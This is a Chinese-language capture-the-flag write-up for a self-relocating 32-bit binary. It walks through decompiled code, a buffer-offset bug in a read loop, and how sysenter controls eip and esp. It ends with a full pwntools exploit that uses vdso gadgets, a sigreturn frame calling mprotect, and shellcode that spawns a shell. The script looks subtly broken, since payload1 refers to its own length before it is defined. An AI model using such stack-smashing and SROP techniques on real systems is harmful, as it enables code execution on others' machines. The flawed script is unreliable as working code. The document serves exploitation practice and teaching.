32位静态链接ELF，checksec只开了NX
不过事实上这个程序自己实现了一个类似ASLR的东西，并且在程序运行流程中会运行不止一次
这会导致程序的基址和栈基址一直在变
程序没有main函数，流程在start函数里
start函数如下（已经经过重命名）
void __cdecl start(int a1)
{
int v1; // [esp-1Ch] [ebp-78h]
int v2; // [esp-18h] [ebp-74h]
mode_t v3; // [esp-14h] [ebp-70h]
int v4; // [esp-14h] [ebp-70h]
int v5; // [esp-10h] [ebp-6Ch]
int v6; // [esp-Ch] [ebp-68h]
int v7; // [esp-8h] [ebp-64h]
int v8; // [esp-4h] [ebp-60h]
int fda; // [esp+0h] [ebp-5Ch]
int *choice; // [esp+0h] [ebp-5Ch]
_DWORD addr[19]; // [esp+4h] [ebp-58h] BYREF
int *v12; // [esp+50h] [ebp-Ch]
v12 = &a1;
signal(14, (int)alarm_handler);
alarm(0x1Eu);
fda = open("/dev/urandom", 0, v3);
read(fda, addr, 0x40u);
close(fda);
dword_804EB40 = &dword_8048000;
random_seed = 0;
((void (__cdecl *)(_DWORD *))sub_80485D0)(addr);
hello();
((void (__stdcall *)(int, int, int, int, int, int, int, int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))randomize)(
v1,
v2,
v4,
v5,
v6,
v7,
v8,
fda,
addr[0],
addr[1],
addr[2],
addr[3],
addr[4],
addr[5],
addr[6],
addr[7],
addr[8],
addr[9],
addr[10],
addr[11],
addr[12],
addr[13],
addr[14],
addr[15]);
while ( 1 )
{
choice = (int *)menu();
alarm(0x1Eu);
switch ( (unsigned int)choice )
{
case 0u:
exit(0);
case 1u:
display_info();
break;
case 2u:
((void (*)(void))change_random)();
break;
case 3u:
view_state_info();
break;
case 4u:
((void (*)(void))test_stack_smash)();
break;
default:
v12 = choice;
write(1, "Unknown command\n", 0x10u);
break;
}
}
}
在randomize中会对eip进行老地址向新地址的跳转
randomize函数如下
int __usercall sub_80481A6@<eax>(int a1@<edi>, int a2@<esi>)
{
size_t v2; // ecx
int v3; // edi
int v4; // esi
_DWORD *v5; // ecx
unsigned int v6; // eax
char *v7; // edx
int i; // ecx
unsigned int v9; // eax
int v11; // [esp-10h] [ebp-58h]
int v12; // [esp-Ch] [ebp-54h]
int v13; // [esp-8h] [ebp-50h]
__int64 seedl; // [esp+0h] [ebp-48h]
_DWORD *v15; // [esp+8h] [ebp-40h]
int v16; // [esp+Ch] [ebp-3Ch]
int v17; // [esp+10h] [ebp-38h]
int v18; // [esp+14h] [ebp-34h]
int v19; // [esp+18h] [ebp-30h]
void *expect; // [esp+1Ch] [ebp-2Ch]
void *addya; // [esp+1Ch] [ebp-2Ch]
unsigned int actual; // [esp+20h] [ebp-28h]
int v23; // [esp+24h] [ebp-24h]
double v24[4]; // [esp+28h] [ebp-20h] BYREF
int savedregs; // [esp+48h] [ebp+0h] BYREF
do
{
v24[0] = randf(seedl, HIDWORD(seedl)) * 4294967295.0;
seedl = (__int64)v24[0];
expect = (void *)(seedl & 0xFFFFF000);
actual = mmap(v2, (int)&tbyte_804CA6C, (off_t)&savedregs, a1, a2, 0);
}
while ( (seedl & 0xFFFFF000) != actual );
qmemcpy(expect, dword_804EB40, 0x7000u);
mprotect(expect, 0x4000u, 5);
v3 = (__int64)v24[0] & 0xFFFFF000;
v4 = (int)dword_804EB40;
LOWORD(v16) = HIWORD(v16) | 0xC00;
change_addr(
v11,
v12,
v13,
v3,
seedl,
HIDWORD(seedl),
&dword_804EB40,
v16,
v17,
v18,
v19,
expect,
actual,
(__int64)v24[0],
LODWORD(v24[0]));
v5 = (_DWORD *)v24 + 1;
do
{
v6 = *v5 - v4;
if ( v6 <= 0x7000 )
*v5 = v3 + v6;
++v5;
}
while ( (unsigned int)v5 < ((((unsigned int)v24 + 4) >> 12) + 1) << 12 );
v7 = (char *)&tbyte_804CA6C + v3 - v4 - 12;
for ( i = 0; i != 208; i += 4 )
{
v9 = *(_DWORD *)&v7[i] - v4;
if ( v9 <= 0x7000 )
*(_DWORD *)&v7[i] = v3 + v9;
}
munmap(v4, 28672);
*v15 = addya;
**(_DWORD **)((char *)&off_804CA64 + v3 + 0 - v4) = v23;
return signal(14, (int)alarm_handler + v3 + 0 - v4);
}
具体eip跳转是在change_addr中实现的
change_addr函数如下
跳转发生在jmp eax处
randomize函数中randf函数如下
long double randf()
{
char v0; // bl
int v1; // esi
int v2; // eax
int v3; // ecx
unsigned int v4; // eax
int v5; // esi
unsigned int v7; // [esp+0h] [ebp-28h]
unsigned int *v8; // [esp+4h] [ebp-24h]
__int64 v9; // [esp+8h] [ebp-20h]
v0 = dword_804CB20;
v1 = unk_804EB48;
v9 = ((_BYTE)dword_804CB20 + 15) & 0xF;
v8 = (unsigned int *)(unk_804EB48 + 4 * v9);
v7 = *v8;
v2 = *(_DWORD *)(v1 + 4 * ((v0 + 13) & 0xF)) ^ *(_DWORD *)(unk_804EB48 + 4 * dword_804CB20) ^ (*(_DWORD *)(unk_804EB48 + 4 * dword_804CB20) << 16) ^ (*(_DWORD *)(v1 + 4 * ((v0 + 13) & 0xF)) << 15);
v3 = *(_DWORD *)(v1 + 4 * ((v0 + 9) & 0xF)) ^ (*(_DWORD *)(v1 + 4 * ((v0 + 9) & 0xF)) >> 11);
*(_DWORD *)(unk_804EB48 + 4 * (((_BYTE)dword_804CB20 + 10) & 0xF)) = v3 ^ v2;
v4 = (32 * (v3 ^ v2)) & 0xDA442D24 ^ v3 ^ v2 ^ v2 ^ v7 ^ (4 * v7) ^ (v2 << 18) ^ (v3 << 28);
*v8 = v4;
v5 = v9;
LODWORD(v9) = v4;
dword_804CB20 = v5;
return (long double)v9 * 2.3283064e-10;
}
通过搜索里面唯一的magic number 0xDA442D24可以知道这个随机数生成方法应该是well512
回到start函数，函数提供了一个功能菜单
int sub_804844D()
{
char v1[29]; // [esp+1h] [ebp-1Dh] BYREF
write(1, "Main Menu\n", 0xAu);
write(1, "---------\n", 0xAu);
write(1, "1. Display info\n", 0x10u);
write(1, "2. Change random\n", 0x11u);
write(1, "3. View state info\n", 0x13u);
write(1, "4. Test stack smash\n", 0x14u);
write(1, "-------\n", 8u);
write(1, "0. Quit\n", 8u);
memset(v1, 0, 5u);
sub_80482DC(v1, 3, 10);
return sub_80497BF(v1);
}
输入1的话会给出一堆文字描述
unsigned int display_info()
{
write(
1,
"Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization is a new method where the binary\n",
0x68u);
write(1, "is constantly moving around in memory.\n", 0x27u);
return write(
1,
"It is also capable of moving the stack around randomly and will be able to move the heap around in the future.\n",
0x6Fu);
}
输入2的话会改变当前程序的地址
unsigned int __usercall change_random@<eax>(int a1@<edi>, int a2@<esi>)
{
randomize(a1, a2);
return write(1, "App moved to new random location\n", 0x21u);
}
输入3的话会给一个与随机数相关的数值
int view_state_info()
{
return printf("Current Random: %08x\n", random_seed);
}
输入4的话会给一次栈溢出的机会
int __usercall test_stack_smash@<eax>(int a1@<edi>, int a2@<esi>)
{
char addr[14]; // [esp+0h] [ebp-12h] BYREF
write(1, "Input buffer is 10 bytes in size. Accepting 100 bytes of data.\n", 0x3Fu);
write(1, "This will crash however the location of the stack and binary are unknown to stop code execution\n", 0x60u);
randomize(a1, a2);
return read_n(addr, 100);
}
虽然它说buffer是10bytes，但实际上需要输入22位之后才能覆盖return addr
这里实际上有一个逻辑漏洞，漏洞点在read_n里面
int __cdecl read_n(void *addr, int n)
{
int sum; // esi
int v3; // edi
int i; // esi
sum = 0;
do
{
v3 = read(0, addr, n - sum);
if ( v3 != -1 )
sum += v3;
}
while ( sum < n );
for ( i = 0; i < v3 - 1; ++i )
randf();
randomize(v3, i);
return v3;
}
漏洞点是v3 = read(0, addr, n - sum);
实际上正确的应该是v3 = read(0, addr + sum, n - sum);
所以实际上是可以通过分多次输入进行部分覆盖的
不过这次没这么做
既然栈地址和程序基址都一直在变，那么能不能找到一个不变的呢，答案是有的，也就是vdso，可以使用vdso里面的gadget
不过如果直接构造一个SROP的话，读入空间不够，因此需要进行栈迁移
这里有一个方式，就是通过sysenter
0xfd5位置就是这个sysenter，运行它之后会跳转到0xfd9处接着3个pop然后ret
关于sysenter，实际上是用户态Ring3进入内核态Ring0的指令，执行完API之后会调用sysexit从内核态Ring0回到用户态Ring3
调用sysenter时，会进行以下操作
1.将SYSENTER_CS_MSR的值装入cs寄存器
2.将SYSENTER_EIP_MSR的值装入eip寄存器
3.将SYSENTER_CS_MSR的值加8之后（也就是Ring0的堆栈段描述符）装入ss寄存器
4.将SYSENTER_ESP的值装入esp寄存器
5.将特权级切换到Ring0
6.如果EFLAGS寄存器的VM标志被置位，就清楚此标志
7.执行Ring0代码
调用sysexit时，会进行以下操作
1.将SYSENTER_CS_MSR的值加16之后（也就是Ring3的代码段描述符）装入cs寄存器
2.将edx的值装入eip寄存器
3.将SYSENTER_CS_MSR的值加24之后（也就是Ring3的堆栈段描述符）装入ss寄存器
4.将ecx的值装入esp寄存器
5.将特权级切换到Ring3
6.执行Ring3代码
因此，只要在调用sysenter前设置好ecx和edx，那么就可以控制eip和esp
因此思路如下
首先进入功能4，通过程序分次输入，控制最后一次的输入长度是3（目的是让eax=3）
然后利用rop链，修改将剩余的rop链信息输入进vdso_base - 0x4000这段可读写地址中
然后通过sysenter控制程序eip和esp，之后利用mprotect将shellcode地址设为可执行，之后执行shellcode即可
exp如下：
from pwn import *
import random
#vdso_base = 0xf7ffc000
context.arch = 'i386'
context.os = 'linux'
shellcode = asm(shellcraft.i386.linux.sh())
#context.log_level = 'debug'
def work(io, vdso_base):
pop_edx_ecx = vdso_base + 0xfda
int_0x80_pop_ebp_edx_ecx = vdso_base + 0xfd7
sysenter = vdso_base + 0xfd5
sigreturn = vdso_base + 0xff1
pop_ebx_ebp = vdso_base + 0x71a
shellcode_addr = vdso_base - 0x4000
stack_addr = vdso_base - 0x3800
io.recvuntil('0. Quit\n')
io.sendline('4')
payload2 = shellcode.ljust(0x800, b'\x90')
payload2 += p32(0xdeadbeef) * 3 + p32(sigreturn)
frame = SigreturnFrame(kernel = 'amd64')
frame.eax = constants.SYS_mprotect
frame.ebx = shellcode_addr
frame.ecx = 0x1000
frame.edx = 7
frame.eip = int_0x80_pop_ebp_edx_ecx
frame.esp = stack_addr + 0x80
payload2 += bytes(frame)
payload2 += p32(shellcode_addr) * 40
io.recvuntil('This will crash however the location of the stack and binary are unknown to stop code execution\n')
payload1 = b'a' * 22 + p32(pop_edx_ecx) + p32(len(payload1)) + p32(shellcode_addr)
payload1 += p32(pop_ebx_ebp) + p32(0) + p32(stack_addr)
payload1 += p32(int_0x80_pop_ebp_edx_ecx) + p32(stack_addr) * 3
payload1 += p32(sysenter)
payload1 = payload1.ljust(97, b'a')
io.send(payload1)
sleep(0.2)
#gdb.attach(io, 'b *0xf7ffcfd7')
io.send('aaa')
sleep(0.2)
io.send(payload2)
sleep(0.2)
io.sendline('echo PWN!')
res = io.recv()
if b'PWN!' not in res:
raise Exception('failed')
while True:
vdso_base = random.choice(range(0xf7f00000, 0xf7fff000, 0x1000))
io = process('./fuckup')
try:
work(io, vdso_base)
#work(io, 0xf7ffc000)
except:
try:
io.close()
except:
pass
continue
io.interactive()
break